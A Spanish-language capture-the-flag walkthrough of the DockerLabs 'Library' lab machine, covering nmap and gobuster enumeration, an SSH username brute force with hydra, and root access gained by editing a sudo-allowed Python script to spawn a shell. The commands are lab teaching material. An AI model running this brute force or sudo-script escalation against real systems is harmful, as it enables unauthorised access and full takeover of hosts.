Skip to content

Library

This content is not available in your language yet.

En este artículo se documenta la resolución de la máquina virtual Library, diseñada por El Pingüino de Mario y catalogada como de dificultad fácil. Se presenta un recorrido detallado por las etapas de reconocimiento, explotación y escalada de privilegios, utilizando herramientas comúnmente empleadas en entornos de captura la bandera (CTF).

  • Nombre: Library
  • Autor: El Pingüino de Mario
  • Nivel de Dificultad: Fácil
  • Fecha de creación: 13/05/2024
  1. Descargamos la máquina desde DockerLabs.

  2. Descomprimimos el archivo:

    Ventana de terminal
    unzip Library.zip
  3. Ejecutamos el script de despliegue:

    Ventana de terminal
    sudo bash auto_deplo.sh Library.tar

Al iniciarse la máquina virtual, se muestra directamente su dirección IP, por lo que no se requiere escaneo ARP.

IP

Preparamos el entorno de trabajo:

Ventana de terminal
mkdir Library
cd Library
mkt # Crea: content, exploits, nmap, scripts

Iniciamos con un escaneo completo de puertos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos los puertos abiertos:

Ventana de terminal
extractPorts allPorts

Puertos abiertos

Examinamos los servicios asociados a los puertos 22 (SSH) y 80 (HTTP):

Ventana de terminal
nmap -sCV -p22,80 172.17.0.2 -oN targeted

Servicios

Procedemos a enumerar rutas en el servidor web utilizando gobuster:

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200

Gobuster

Los únicos archivos detectados fueron:

  • index.html index.html

  • index.php index.php

Dado que no se encontraron rutas sensibles ni formularios, decidimos probar autenticación por fuerza bruta sobre SSH. Usamos hydra con una contraseña conocida:

Ventana de terminal
hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt \
-p JIFGHDS87GYDFIGD ssh://172.17.0.2 -t 4

Hydra

Una vez identificado el nombre de usuario válido, accedemos vía SSH:

SSH

Consultamos los privilegios sudo disponibles:

Ventana de terminal
sudo -l

Detectamos que se permite la ejecución de un script Python como superusuario sin contraseña:

sudo -l

Editamos el archivo /opt/script.py con el siguiente código para obtener una shell como root:

import os
os.setuid(0)
os.system("/bin/sh")

Ejecutamos el script usando sudo:

Ventana de terminal
sudo python3 /opt/script.py

Esto nos otorga acceso como superusuario:

Root access

La máquina Library ofrece una experiencia introductoria ideal para familiarizarse con técnicas básicas de enumeración web, fuerza bruta en SSH y escalada de privilegios a través de scripts con permisos sudo. Su estructura clara permite aplicar una metodología ordenada de análisis, aprovechando cada hallazgo para avanzar hasta la obtención del acceso como usuario root.